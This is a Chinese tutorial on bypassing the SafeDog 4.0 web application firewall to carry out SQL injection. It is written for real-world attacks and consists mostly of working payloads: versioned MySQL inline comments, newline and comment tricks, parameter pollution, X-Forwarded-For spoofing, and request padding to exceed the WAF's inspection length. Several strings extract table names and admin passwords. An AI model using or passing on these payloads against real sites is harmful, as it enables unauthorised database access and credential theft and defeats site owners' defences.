纸上得来终觉浅,绝知此事要躬行。
安全狗的版本是4.0(最新的啦)
在实战中会经常遇到waf很困扰,有时候站点有waf连报错都不会回显给你,这就很难受
特此做一篇文章总结我学习绕狗的知识总结
以
安全狗为例,后续会出D盾、守护神等等
有时间就做一些总结
第一步确认已经打开安全狗,判断是否存在注入点
由此可见安全狗对我们的不友好,按照拦截的思路,安全狗是拦截and 1=1一个整体的。如果你输入id?=1 and它不会拦截 当然 id=1? 1=1也不会拦截,既然是拦截整个语句,那么这里有两个方法把and或者把1=1用其他东西来代替
在URL栏中&符号是连接的意思,在SQL语句中却是and的意思,那么可以把&转换为URL编码%26
1=1用-1=-1来代替
演示如下: 由此可见 waf并没有拦截
And -1=-2时报错了
这里可以证明存在注入点
既然存在注入了,那么直接来找输出点,输出点要用到联合查询 union select
可想而知and 1=1都会被拦截,何尝union select不会呢?
这里有一个知识点!
在这里要讲一个东西叫做内联注释
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!**/中
这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行
在/*!select*/里面的东西会被当作代码执行
一般来说这样就能实现绕过了
都这样了,为什么还会被拦截?不是说好了不拦截吗?哈哈哈其实这里可以加上数据库版本号去执行就可以了
例如这个,发现语句并没有被拦截,而且输出点是2
其实10044就是数据库的版本,如果当这个10044不好使时,可以用其他看看安全狗遗漏的版本号,跑包测试
其中的长度为1578都是可以用的
找到了输出点,下一步按理来说是去系统自带库中寻找当前表名和字段名的
但是
我懒~~~就不按步骤来了,就直接查询数据了
这里提供去系统自带库中寻找表名的完整语句
?id=1 and -1=-2 union /*!10144select*/1,table_name-- qwe/*%0afrom information_schema.tables where table_schema=database() %23*/
可以试试加个特殊字符%0a写在内联注入中可以产生换行效果
实际上会产生什么样的效果呢?
注入语句: Union /*!10044select*/ 1,2,3-- q/*%0afrom admin%23*/
实际上到数据库中的语句:Union /*!10044select*/ 1,2,3-- q/*%0a
from admin%23*/
-- q注释掉了/* 随后%0a换行 %23是#也会注释掉后面的*/
这样数据就被查询出来了,也没有并拦截
在盲注的时候
有些函数加了反引号也能使用不会被拦截,大可一试
`sleep`(3)
`updatexml`
还可以利用中间件的一些特性
比如说:
iis的s%e%l%e%c%t等价于select
apache:参数污染
?Id=1的站点可以尝试 ?Id=1&id=2 数据库会执行后面的id=2
如果这样会执行成功的话,可以尝试做一些小操作
?id=1/*&id=2union select 1,passwd,3 from admin limit 1,1%23*/
尝试:?id=1/*%0a&id=2 union select1,passwd,3 from admin limit 1,1%23*/
还有一种方法就是
白名单绕过
如果恶意语句被拦截可以去拦截数据包尝试修改X-FORWradede-FOR改为127.0.0.1
缓冲区绕过
应该算是缓冲区绕过吧……哈哈哈哈
如果传参的字符太多了,超出了傻狗的检测范围,傻狗就只能检测他能检测的部分
这样的话可以这样去传参
/*dasdasjhdasdaslkjds…….几千个字符吧*/union select 1,passwd,3 from admin limit 1,1
如果是安全狗的话,四千个字符左右恰到好处
很显然几千个字符GET肯定是传不了,转成POST,可以抓包在里面添加无用参数,用注释把他注释掉,在最后添加查询语句